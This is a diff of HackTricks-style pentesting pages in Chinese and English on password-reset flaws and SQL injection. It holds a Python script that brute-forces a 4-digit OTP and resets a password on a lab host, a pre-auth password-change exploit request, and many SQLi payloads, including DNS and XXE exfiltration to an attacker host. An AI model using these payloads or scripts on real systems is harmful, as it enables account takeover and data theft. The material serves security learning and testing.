- **工具**:使用[guidtool](https://github.com/intruder-io/guidtool)分析和生成GUID。
|
||||
- **缓解措施**:
|
||||
- Use GUID version 4 for randomness or implement additional security measures for other versions.
|
||||
- **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
|
||||
|
||||
## **响应操纵:用好响应替换坏响应**
|
||||
## **Response Manipulation: Replace Bad Response With Good One**
|
||||
|
||||
- 操纵HTTP响应以绕过错误消息或限制。
|
||||
- **缓解步骤**:
|
||||
- 实施服务器端检查以确保响应完整性。
|
||||
- 使用安全通信通道如HTTPS以防止中间人攻击。
|
||||
- **参考**:
|
||||
- [实时漏洞赏金活动中的关键漏洞](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
- Manipulating HTTP responses to bypass error messages or restrictions.
|
||||
- **缓解措施**:
|
||||
- Implement server-side checks to ensure response integrity.
|
||||
- Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
|
||||
- **Reference**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **使用过期令牌**
|
||||
## **Using Expired Token**
|
||||
|
||||
- 测试过期令牌是否仍可用于密码重置。
|
||||
- **缓解步骤**:
|
||||
- 实施严格的令牌过期政策,并在服务器端验证令牌过期。
|
||||
- Testing whether expired tokens can still be used for password reset.
|
||||
- **缓解措施**:
|
||||
- Implement strict token expiration policies and validate token expiry server-side.
|
||||
|
||||
## **暴力破解密码重置令牌**
|
||||
## **Brute Force Password Reset Token**
|
||||
|
||||
- 尝试使用像Burpsuite和IP-Rotator这样的工具暴力破解重置令牌,以绕过基于IP的速率限制。
|
||||
- **缓解步骤**:
|
||||
- 实施强大的速率限制和账户锁定机制。
|
||||
- 监控可疑活动以指示暴力破解攻击。
|
||||
- Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
|
||||
- **缓解措施**:
|
||||
- Implement robust rate-limiting and account lockout mechanisms.
|
||||
- Monitor for suspicious activities indicative of brute-force attacks.
|
||||
|
||||
## **尝试使用您的令牌**
|
||||
## **Try Using Your Token**
|
||||
|
||||
- 测试攻击者的重置令牌是否可以与受害者的电子邮件一起使用。
|
||||
- **缓解步骤**:
|
||||
- 确保令牌绑定到用户会话或其他用户特定属性。
|
||||
- Testing if an attacker's reset token can be used in conjunction with the victim's email.
|
||||
- **缓解措施**:
|
||||
- Ensure that tokens are bound to the user session or other user-specific attributes.
|
||||
|
||||
## **注销/密码重置中的会话失效**
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- 确保用户注销或重置密码时会话失效。
|
||||
- **缓解步骤**:
|
||||
- 实施适当的会话管理,确保所有会话在注销或密码重置时失效。
|
||||
- Ensuring that sessions are invalidated when a user logs out or resets their password.
|
||||
- **缓解措施**:
|
||||
- Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.
|
||||
|
||||
## **注销/密码重置中的会话失效**
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- 重置令牌应具有过期时间,过期后将失效。
|
||||
- **缓解步骤**:
|
||||
- 为重置令牌设置合理的过期时间,并在服务器端严格执行。
|
||||
- Reset tokens should have an expiration time after which they become invalid.
|
||||
- **缓解措施**:
|
||||
- Set a reasonable expiration time for reset tokens and strictly enforce it server-side.
|
||||
|
||||
## **通过更改会话绕过OTP速率限制**
|
||||
## **OTP rate limit bypass by changing your session**
|
||||
|
||||
- 如果网站使用用户会话跟踪错误的OTP尝试,并且OTP较弱(<= 4位数字),那么我们可以有效地暴力破解OTP。
|
||||
- **利用**:
|
||||
- 在被服务器阻止后请求一个新的会话令牌。
|
||||
- **示例**代码,通过随机猜测OTP来利用此漏洞(当您更改会话时,OTP也会更改,因此我们将无法顺序暴力破解它!):
|
||||
- If the website is using user session to track wrong OTP attempts and the OTP was weak ( <= 4 digits) then we can effectively bruteforce the OTP.
|
||||
- **exploitation**:
|
||||
- just request a new session token after getting blocked by the server.
|
||||
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
||||
|
||||
``` python
|
||||
# 通过密码重置绕过身份验证
|
||||
# Authentication bypass by password reset
|
||||
# by coderMohammed
|
||||
import requests
|
||||
import random
|
||||
@ -192,46 +193,83 @@ parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] 开始攻击!")
|
||||
print("[+] Starting attack!")
|
||||
sleep(3)
|
||||
print("[+] 这可能需要大约5分钟才能完成!")
|
||||
print("[+] This might take around 5 minutes to finish!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # 从0到9999的随机数,4位
|
||||
parms["s"] = 164 # 不重要,只影响前端
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
|
||||
parms["s"] = 164 # not important it only efects the frontend
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # 尝试次数
|
||||
out = requests.get(logout,headers=headers) # 登出
|
||||
mainp = requests.get(root) # 获取另一个phpssid(令牌)
|
||||
if ter == 8: # follow number of trails
|
||||
out = requests.get(logout,headers=headers) # log u out
|
||||
mainp = requests.get(root) # gets another phpssid (token)
|
||||
|
||||
cookies = out.cookies # 提取sessionid
|
||||
cookies = out.cookies # extract the sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # 用新会话更新头部
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # 发送电子邮件以更改密码
|
||||
ter = 0 # 重置ter,以便在8次尝试后获取新会话
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
|
||||
ter = 0 # reset ter so we get a new session after 8 trails
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # 当您正确获取恢复代码时页面的长度(通过测试获得)
|
||||
print(len(res.text)) # 用于调试信息
|
||||
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
|
||||
print(len(res.text)) # for debug info
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # 在这里我们将密码更改为新密码
|
||||
reset_data = { # here we will change the password to somthing new
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] 密码已更改为:D37djkamd!")
|
||||
print("[+] Password has been changed to:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] 攻击停止")
|
||||
print("[+] Attck stopped")
|
||||
```
|
||||
|
||||
## 参考
|
||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||
|
||||
Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
|
||||
|
||||
Vulnerable pattern (PHP):
|
||||
```php
|
||||
// hub/rpwd.php
|
||||
RequestHandler::validateCSRFToken();
|
||||
$RP = new RecoverPwd();
|
||||
$RP->process($_REQUEST, $_POST);
|
||||
|
||||
// modules/Users/RecoverPwd.php
|
||||
if ($request['action'] == 'change_password') {
|
||||
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
|
||||
}
|
||||
|
||||
public function displayChangePwd($smarty, $username, $newpwd) {
|
||||
$current_user = CRMEntity::getInstance('Users');
|
||||
$current_user->id = $current_user->retrieve_user_id($username);
|
||||
// ... criteria checks omitted ...
|
||||
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
利用请求 (概念):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
缓解措施:
|
||||
- 在更改密码之前,始终要求有效的、具有时限的重置令牌(reset token),该令牌应绑定到账户和会话。
|
||||
- 不要向未认证的用户暴露 skipOldPwdCheck 路径;对常规的密码更改强制要求认证并验证旧密码。
|
||||
- 在密码更改后使所有活动会话和重置令牌失效。
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 什么是 SQL 注入?
|
||||
## 什么是 SQL injection?
|
||||
|
||||
**SQL 注入**是一种安全漏洞,允许攻击者**干扰应用程序的数据库查询**。这种漏洞可以使攻击者**查看**、**修改**或**删除**他们不应访问的数据,包括其他用户的信息或应用程序可以访问的任何数据。这些行为可能导致应用程序功能或内容的永久性更改,甚至可能导致服务器的泄露或拒绝服务。
|
||||
一个 **SQL injection** 是一种安全漏洞,允许攻击者**干预应用程序的数据库查询**。该漏洞可以使攻击者能够**查看**、**修改**或**删除**他们不该访问的数据,包括其他用户的信息或应用程序可访问的任何数据。这些操作可能导致对应用程序功能或内容的永久性更改,甚至服务器被攻破或 denial of service。
|
||||
|
||||
## 入口点检测
|
||||
|
||||
当一个网站由于对 SQLi 相关输入的异常服务器响应而**看起来容易受到 SQL 注入 (SQLi)** 攻击时,**第一步**是了解如何**在不干扰查询的情况下注入数据**。这需要有效识别**从当前上下文中逃逸**的方法。这些是一些有用的示例:
|
||||
当一个站点因为对 SQL injection (SQLi) 相关输入的异常服务器响应而看起来可能存在漏洞时,第一步是弄清楚如何在不破坏查询的情况下将数据注入到查询中。这需要识别有效从当前上下文中 escape 的方法。以下是一些有用的示例:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -21,9 +21,9 @@
|
||||
"))
|
||||
`))
|
||||
```
|
||||
然后,您需要知道如何**修复查询以避免错误**。为了修复查询,您可以**输入**数据,以便**先前的查询接受新数据**,或者您可以直接**输入**您的数据并**在末尾添加注释符号**。
|
||||
然后,你需要知道如何 **fix the query so there isn't errors**。为了修复该 query,你可以 **input** 数据以让 **previous query accept the new data**,或者你可以直接 **input** 你的数据并在结尾处 **add a comment symbol add the end**。
|
||||
|
||||
_请注意,如果您能看到错误消息或能够发现查询正常工作与不正常工作时的差异,这个阶段将会更容易。_
|
||||
_注意,如果你能看到错误消息,或者能在 query 工作与不工作时发现差异,这个阶段会更容易。_
|
||||
|
||||
### **注释**
|
||||
```sql
|
||||
@ -51,23 +51,23 @@ SQLite
|
||||
HQL
|
||||
HQL does not support comments
|
||||
```
|
||||
### 使用逻辑运算进行确认
|
||||
### 使用逻辑运算确认
|
||||
|
||||
确认 SQL 注入漏洞的可靠方法是执行 **逻辑运算** 并观察预期结果。例如,当 GET 参数 `?username=Peter` 修改为 `?username=Peter' or '1'='1` 时,如果返回相同的内容,则表明存在 SQL 注入漏洞。
|
||||
确认 SQL injection 漏洞的一种可靠方法是执行 **逻辑运算** 并观察预期的结果。例如,若 GET parameter `?username=Peter` 在被修改为 `?username=Peter' or '1'='1` 后仍返回相同内容,则表明存在 SQL injection 漏洞。
|
||||
|
||||
同样,应用 **数学运算** 作为有效的确认技术。例如,如果访问 `?id=1` 和 `?id=2-1` 产生相同的结果,这表明存在 SQL 注入。
|
||||
类似地,应用 **数学运算** 也是一种有效的确认技术。例如,如果访问 `?id=1` 和 `?id=2-1` 得到相同结果,则可能存在 SQL injection。
|
||||
|
||||
演示逻辑运算确认的示例:
|
||||
用于说明逻辑运算确认的示例:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
这个词汇表是为了尝试**确认SQL注入**的建议方式而创建的:
|
||||
这个 word-list 是为尝试以建议的方式 **确认 SQLinjections** 而创建的:
|
||||
|
||||
<details>
|
||||
<summary>真正的SQLi</summary>
|
||||
<summary>True SQLi</summary>
|
||||
```
|
||||
true
|
||||
1
|
||||
@ -154,10 +154,10 @@ true
|
||||
```
|
||||
</details>
|
||||
|
||||
### 确认时延
|
||||
### 通过计时确认
|
||||
|
||||
在某些情况下,您**不会注意到**您正在测试的页面上的任何变化。因此,**发现盲注入**的一个好方法是让数据库执行操作,这将对页面加载所需的**时间产生影响**。\
|
||||
因此,我们将在SQL查询中连接一个需要很长时间才能完成的操作:
|
||||
在某些情况下,你在测试的页面**不会注意到任何变化**。因此,一个好的方法来**discover blind SQL injections** 是让 DB 执行一些操作,这些操作会**影响页面加载时间**。\
|
||||
因此,我们将在 SQL query 中 concat 一个会花费很长时间才能完成的操作:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -179,11 +179,11 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
在某些情况下,**sleep 函数将不被允许**。然后,您可以使查询**执行复杂操作**,这将需要几秒钟。_这些技术的示例将在每种技术上单独评论(如果有的话)_。
|
||||
在某些情况下,**sleep functions won't be allowed**。然后,与其使用那些函数,你可以让查询**执行耗时的复杂操作**,这些操作会花费几秒钟。_这些技术的示例将在每种技术上单独说明(如果有的话)_。
|
||||
|
||||
### 识别后端
|
||||
|
||||
识别后端的最佳方法是尝试执行不同后端的函数。您可以使用上一节的_**sleep**_ **函数**或这些函数(来自 [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification) 的表):
|
||||
识别后端的最佳方法是尝试执行不同后端的函数。你可以使用上一节的 _**sleep**_ **functions** 或者这些(表格来自 [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -211,29 +211,29 @@ SQLite
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
也就是说,如果您可以访问查询的输出,您可以让它**打印数据库的版本**。
|
||||
另外,如果你可以看到查询的输出,你可以让它 **打印数据库版本**。
|
||||
|
||||
> [!TIP]
|
||||
> 接下来我们将讨论不同的方法来利用不同类型的SQL注入。我们将以MySQL为例。
|
||||
> 接下来我们将讨论针对不同类型 SQL Injection 的不同利用方法。我们将以 MySQL 为例。
|
||||
|
||||
### 使用PortSwigger进行识别
|
||||
### 使用 PortSwigger 进行识别
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## 利用基于Union的注入
|
||||
## 利用 Union Based
|
||||
|
||||
### 检测列数
|
||||
|
||||
如果您可以看到查询的输出,这是利用它的最佳方法。\
|
||||
首先,我们需要找出**初始请求**返回的**列数**。这是因为**两个查询必须返回相同数量的列**。\
|
||||
通常使用两种方法来实现这一目的:
|
||||
如果你能看到查询的输出,这是最好的利用方式。\
|
||||
首先,我们需要找出 **初始请求** 返回的 **列** 的 **数量**。这是因为 **两个查询必须返回相同数量的列**。\
|
||||
通常有两种方法可用于此目的:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
要确定查询中的列数,逐步调整**ORDER BY**或**GROUP BY**子句中使用的数字,直到收到错误响应。尽管**GROUP BY**和**ORDER BY**在SQL中具有不同的功能,但两者可以以相同的方式用于确定查询的列数。
|
||||
要确定查询中的列数,逐步增加在 **ORDER BY** 或 **GROUP BY** 子句中使用的数字,直到收到错误响应。尽管 **GROUP BY** 和 **ORDER BY** 在 SQL 中具有不同的功能,但两者都可以以相同的方式用于确定查询的列数。
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -251,17 +251,17 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
```
|
||||
#### UNION SELECT
|
||||
|
||||
选择更多的空值,直到查询正确:
|
||||
逐步添加更多的 null 值,直到查询正确:
|
||||
```sql
|
||||
1' UNION SELECT null-- - Not working
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_你应该使用 `null` 值,因为在某些情况下,查询两侧的列类型必须相同,而 null 在每种情况下都是有效的。_
|
||||
_你应该使用 `null` 值,因为在某些情况下,查询两端列的类型必须相同,而 null 在任何情况下都是有效的。_
|
||||
|
||||
### 提取数据库名称、表名称和列名称
|
||||
### 提取数据库名、表名和列名
|
||||
|
||||
在接下来的示例中,我们将检索所有数据库的名称、一个数据库的表名称、表的列名称:
|
||||
在接下来的示例中,我们将检索所有数据库的名称、某个数据库的表名以及表的列名:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
@ -272,67 +272,67 @@ _你应该使用 `null` 值,因为在某些情况下,查询两侧的列类
|
||||
#Column names
|
||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||
```
|
||||
_在每个不同的数据库中发现这些数据的方法各不相同,但方法论始终相同。_
|
||||
_在每种不同的数据库上发现这些数据的方法各不相同,但其方法论始终相同。_
|
||||
|
||||
## 利用隐藏的基于联合的注入
|
||||
## 利用 Hidden Union Based
|
||||
|
||||
当查询的输出可见,但基于联合的注入似乎无法实现时,这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入,需要识别后端的执行查询。
|
||||
当一个 **query** 的 **output** 可见,但一个 union-based injection 看起来无法实现时,这表明存在一个 **hidden union-based injection**。这种情况通常会导致 blind injection 的情形。要将 blind injection 转变为 union-based,需要辨识后端执行的 query。
|
||||
|
||||
这可以通过使用盲注入技术以及特定于目标数据库管理系统(DBMS)的默认表来实现。为了理解这些默认表,建议查阅目标DBMS的文档。
|
||||
这可以通过使用 blind injection 技术,结合目标 DBMS 的默认表来实现。要了解这些默认表,建议查阅目标 DBMS 的文档。
|
||||
|
||||
一旦提取了查询,就需要调整你的有效载荷以安全地关闭原始查询。随后,将一个联合查询附加到你的有效载荷中,从而利用新可访问的基于联合的注入。
|
||||
一旦提取出 query,就需要定制你的 payload 以安全地关闭原始 query。随后,把一个 union query 附加到你的 payload 上,从而利用新可访问的 union-based injection。
|
||||
|
||||
有关更全面的见解,请参阅完整文章 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)。
|
||||
欲了解更全面的见解,请参阅完整文章 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## 利用基于错误的注入
|
||||
## 利用 Error based
|
||||
|
||||
如果由于某种原因你**无法**看到**查询**的**输出**,但你可以**看到错误消息**,你可以利用这些错误消息来**提取**数据库中的数据。\
|
||||
遵循与基于联合的利用相似的流程,你可以成功地转储数据库。
|
||||
如果由于某种原因你**cannot**看到该**query**的**output**,但你可以**see the error messages**,你可以利用这些 error messages 来**ex-filtrate** 数据库中的数据。\
|
||||
按照与 Union Based exploitation 相似的流程,你就可以设法 dump the DB。
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## 利用盲注
|
||||
## 利用 Blind SQLi
|
||||
|
||||
在这种情况下,您无法看到查询的结果或错误,但您可以**区分**查询何时**返回****真**或**假**响应,因为页面上的内容不同。\
|
||||
在这种情况下,您可以利用这种行为逐字符地转储数据库:
|
||||
在这种情况下,你无法看到查询的结果或错误,但当查询返回 **true** 或 **false** 时,你可以分辨出来,因为页面上的内容会不同。\
|
||||
在这种情况下,你可以利用该行为逐字符导出数据库:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## 利用错误盲SQLi
|
||||
## Exploiting Error Blind SQLi
|
||||
|
||||
这与之前的**情况相同**,但不是区分查询的真/假响应,而是可以**区分**SQL查询中的**错误**与否(可能是因为HTTP服务器崩溃)。因此,在这种情况下,每次正确猜测字符时,您可以强制产生SQL错误:
|
||||
这是**与之前相同的情况**,但与通过查询区分 true/false 响应不同,你可以**区分**SQL 查询中是否出现**error**(可能因为 HTTP 服务器崩溃)。因此,在这种情况下,每当你正确猜出字符时,都可以触发一个 SQLerror:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## 利用基于时间的 SQLi
|
||||
## Exploiting Time Based SQLi
|
||||
|
||||
在这种情况下,**没有**任何方法可以根据页面的上下文来**区分**查询的**响应**。但是,如果猜测的字符是正确的,您可以使页面**加载时间更长**。我们之前已经看到过这种技术用于 [确认 SQLi 漏洞](#confirming-with-timing)。
|
||||
在这种情况下,基于页面的上下文**没有**任何方法可以**区分**查询的**响应**。但是,如果猜测的字符正确,你可以让页面**加载更慢**。我们之前已经看到过这种技术用于[confirm a SQLi vuln](#confirming-with-timing)。
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
您可以使用堆叠查询来**连续执行多个查询**。请注意,尽管后续查询会被执行,但**结果**不会**返回给应用程序**。因此,这种技术主要用于与**盲漏洞**相关的情况,在这种情况下,您可以使用第二个查询触发DNS查找、条件错误或时间延迟。
|
||||
你可以使用 stacked queries 来 **连续执行多个查询**。注意,虽然后续查询会被执行,但 **结果** **不会返回给应用程序**。因此,该技术主要用于 **blind vulnerabilities**,在这种情况下你可以使用第二个查询来触发 DNS lookup、条件错误或时间延迟。
|
||||
|
||||
**Oracle** 不支持 **堆叠查询**。**MySQL、Microsoft** 和 **PostgreSQL** 支持它们:`QUERY-1-HERE; QUERY-2-HERE`
|
||||
**Oracle** 不支持 **stacked queries。** **MySQL, Microsoft** 和 **PostgreSQL** 支持它们:`QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
如果**没有其他**利用方法**有效**,您可以尝试使**数据库将信息外泄**到您控制的**外部主机**。例如,通过DNS查询:
|
||||
如果 **no-other** 利用方法 **无效**,你可以尝试让 **database ex-filtrate** 信息到由你控制的 **external host**。例如,通过 DNS queries:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
### 通过 XXE 进行带外数据泄露
|
||||
### 通过 XXE 进行 Out of band data exfiltration
|
||||
```sql
|
||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||
```
|
||||
## 自动化利用
|
||||
|
||||
查看 [SQLMap Cheatsheet](sqlmap/index.html) 以利用 SQLi 漏洞与 [**sqlmap**](https://github.com/sqlmapproject/sqlmap)。
|
||||
查看 [SQLMap Cheatsheet](sqlmap/index.html) 以使用 [**sqlmap**](https://github.com/sqlmapproject/sqlmap) 利用 SQLi 漏洞。
|
||||
|
||||
## 技术特定信息
|
||||
## 特定技术信息
|
||||
|
||||
我们已经讨论了利用 SQL 注入漏洞的所有方法。在本书中找到一些更多依赖于数据库技术的技巧:
|
||||
我们已经讨论过利用 SQL Injection 漏洞的所有方法。想了解更多依赖数据库技术的技巧,请在本书中查找:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -340,12 +340,13 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
或者你会在 [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) 找到 **关于 MySQL、PostgreSQL、Oracle、MSSQL、SQLite 和 HQL 的很多技巧**。
|
||||
或者你可以在 [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) 找到大量关于 MySQL, PostgreSQL, Oracle, MSSQL, SQLite 和 HQL 的技巧
|
||||
|
||||
## 认证绕过
|
||||
## 身份验证绕过
|
||||
|
||||
尝试绕过登录功能的列表:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../login-bypass/sql-login-bypass.md
|
||||
{{#endref}}
|
||||
@ -354,27 +355,27 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
此查询展示了在身份验证检查中使用MD5并将原始输出设置为true时的漏洞,使系统容易受到SQL注入攻击。攻击者可以通过构造输入来利用这一点,这些输入在哈希后会生成意外的SQL命令部分,从而导致未经授权的访问。
|
||||
该查询展示了一个漏洞:当在身份验证检查中将 MD5 与 true(用于原始输出)一起使用时,会使系统易受 SQL injection 攻击。攻击者可以通过构造输入,在被 hashed 后产生意外的 SQL 命令片段,从而导致未授权访问。
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
```
|
||||
### 注入哈希认证绕过
|
||||
### Injected hash authentication Bypass
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**推荐列表**:
|
||||
**推荐列表**:
|
||||
|
||||
您应该将列表中的每一行用作用户名,密码始终为: _**Pass1234.**_\
|
||||
_(这些有效载荷也包含在本节开头提到的大列表中)_
|
||||
你应该把列表中的每一行作为 username,并始终将密码设为:_**Pass1234.**_\
|
||||
_(这些 payloads 也包含在本节开头提到的大列表中)_
|
||||
|
||||
{{#file}}
|
||||
sqli-hashbypass.txt
|
||||
{{#endfile}}
|
||||
|
||||
### GBK 认证绕过
|
||||
### GBK Authentication Bypass
|
||||
|
||||
如果 ' 被转义,您可以使用 %A8%27,当 ' 被转义时,将创建: 0xA80x5c0x27 (_╘'_)
|
||||
如果单引号 (') 被转义,可以使用 %A8%27;当 ' 被转义时,它会被创建为:0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
@ -393,53 +394,53 @@ print r.text
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
## Insert Statement
|
||||
## Insert 语句
|
||||
|
||||
### 修改现有对象/用户的密码
|
||||
|
||||
为此,您应该尝试**创建一个名为“主对象”的新对象**(在用户的情况下可能是**admin**),修改某些内容:
|
||||
为此你应该尝试 **创建一个名称与 "master object" 相同的新对象**(在用户场景中通常是 **admin**),并修改某些内容:
|
||||
|
||||
- 创建名为:**AdMIn**(大小写字母)
|
||||
- 创建名为:**admin=**
|
||||
- **SQL 截断攻击**(当用户名或电子邮件有某种**长度限制**时)--> 创建名为:**admin \[大量空格] a**
|
||||
- 创建用户,名为:**AdMIn**(使用大小写混合)
|
||||
- 创建用户,名为:**admin=**
|
||||
- **SQL Truncation Attack**(当用户名或邮箱存在某种**长度限制**时) --> 创建用户名:**admin \[a lot of spaces] a**
|
||||
|
||||
#### SQL 截断攻击
|
||||
#### SQL Truncation Attack
|
||||
|
||||
如果数据库存在漏洞,并且用户名的最大字符数例如为30,而您想要冒充用户**admin**,请尝试创建一个名为:“_admin \[30个空格] a_”的用户名和任何密码。
|
||||
如果数据库存在漏洞,并且用户名的最大字符数例如为 30,而你想冒充用户 **admin**,尝试创建一个用户名为:"_admin \[30 spaces] a_" 并设置任意密码。
|
||||
|
||||
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**,它将**截断****用户名**到**允许的最大字符数**(在这种情况下为:“_admin \[25个空格]_”),然后它将**自动删除所有末尾的空格**,在数据库中更新用户“**admin**”的**新密码**(可能会出现一些错误,但这并不意味着这没有成功)。
|
